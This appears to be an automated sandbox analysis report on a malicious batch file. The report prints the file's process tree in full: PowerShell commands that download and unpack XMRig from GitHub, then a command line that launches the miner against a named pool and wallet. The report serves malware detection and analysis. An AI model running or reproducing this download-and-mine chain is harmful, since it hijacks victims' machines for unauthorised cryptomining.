Analysis

  • max time kernel
    1799s
  • max time network
    1805s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 01:26

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3076
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2112

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          6d0a31870744a47fa1cbbdd946daa288

          SHA1

          91017eb467a34c4c655daa032235586362b2ab52

          SHA256

          94455e7ddc7a88ca368116821a45ab8c71e0871af16484228b4a17823ddd0e54

          SHA512

          1f49bce0449dfaf6a7d46c16641255cfcd392ac3995ffae9e4a61d1fdfe8e4465bdafa5129768ec26e282c85ee0321f707cb78c1f16e6c0c6781816a994852a7

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cdd05mic.pte.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          3.2MB

          MD5

          4b2275e8df65719009314a0a23a45558

          SHA1

          95fbef4629f6ace3dba90df63a9825e503e3c7eb

          SHA256

          4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

          SHA512

          afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          e2fe87cc2c7dab8ca6516620dccd1381

          SHA1

          f714ec0448325435103519452610cf7aadf8bbba

          SHA256

          d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

          SHA512

          8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

        • memory/2112-144-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-120-0x000001CCD4700000-0x000001CCD4720000-memory.dmp

          Filesize

          128KB

        • memory/2112-188-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-187-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-186-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-185-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-184-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-183-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-182-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-181-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-180-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-179-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-178-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-177-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-176-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-175-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-174-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-147-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-121-0x000001CCD4850000-0x000001CCD4890000-memory.dmp

          Filesize

          256KB

        • memory/2112-122-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-123-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-124-0x000001CCD48A0000-0x000001CCD48C0000-memory.dmp

          Filesize

          128KB

        • memory/2112-125-0x000001CCD48C0000-0x000001CCD48E0000-memory.dmp

          Filesize

          128KB

        • memory/2112-126-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-127-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-128-0x000001CCD48A0000-0x000001CCD48C0000-memory.dmp

          Filesize

          128KB

        • memory/2112-129-0x000001CCD48C0000-0x000001CCD48E0000-memory.dmp

          Filesize

          128KB

        • memory/2112-130-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-131-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-132-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-133-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-134-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-135-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-136-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-137-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-138-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-139-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-140-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-141-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-142-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-146-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-173-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-172-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-143-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-145-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-148-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-149-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-150-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-151-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-152-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-153-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-154-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-155-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-156-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-157-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-158-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-159-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-160-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-161-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-162-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-163-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-164-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-165-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-166-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-167-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-168-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-169-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-170-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2112-171-0x00007FF6C36D0000-0x00007FF6C41D3000-memory.dmp

          Filesize

          11.0MB

        • memory/2388-26-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

          Filesize

          9.9MB

        • memory/2388-25-0x0000024DFE1D0000-0x0000024DFE1E0000-memory.dmp

          Filesize

          64KB

        • memory/2388-34-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

          Filesize

          9.9MB

        • memory/2388-6-0x0000024DFE1D0000-0x0000024DFE1E0000-memory.dmp

          Filesize

          64KB

        • memory/2388-7-0x0000024DFE1D0000-0x0000024DFE1E0000-memory.dmp

          Filesize

          64KB

        • memory/2388-10-0x0000024DFE460000-0x0000024DFE4D6000-memory.dmp

          Filesize

          472KB

        • memory/2388-29-0x0000024DFE1D0000-0x0000024DFE1E0000-memory.dmp

          Filesize

          64KB

        • memory/2388-5-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

          Filesize

          9.9MB

        • memory/2388-4-0x0000024DFE130000-0x0000024DFE152000-memory.dmp

          Filesize

          136KB

        • memory/2388-28-0x0000024DFE1D0000-0x0000024DFE1E0000-memory.dmp

          Filesize

          64KB

        • memory/2388-27-0x0000024DFE1D0000-0x0000024DFE1E0000-memory.dmp

          Filesize

          64KB

        • memory/3076-93-0x0000022E42C40000-0x0000022E42C4A000-memory.dmp

          Filesize

          40KB

        • memory/3076-39-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

          Filesize

          9.9MB

        • memory/3076-40-0x0000022E42C50000-0x0000022E42C60000-memory.dmp

          Filesize

          64KB

        • memory/3076-42-0x0000022E42C50000-0x0000022E42C60000-memory.dmp

          Filesize

          64KB

        • memory/3076-66-0x0000022E42C50000-0x0000022E42C60000-memory.dmp

          Filesize

          64KB

        • memory/3076-80-0x0000022E43080000-0x0000022E43092000-memory.dmp

          Filesize

          72KB

        • memory/3076-117-0x00007FFBC1F20000-0x00007FFBC290C000-memory.dmp

          Filesize

          9.9MB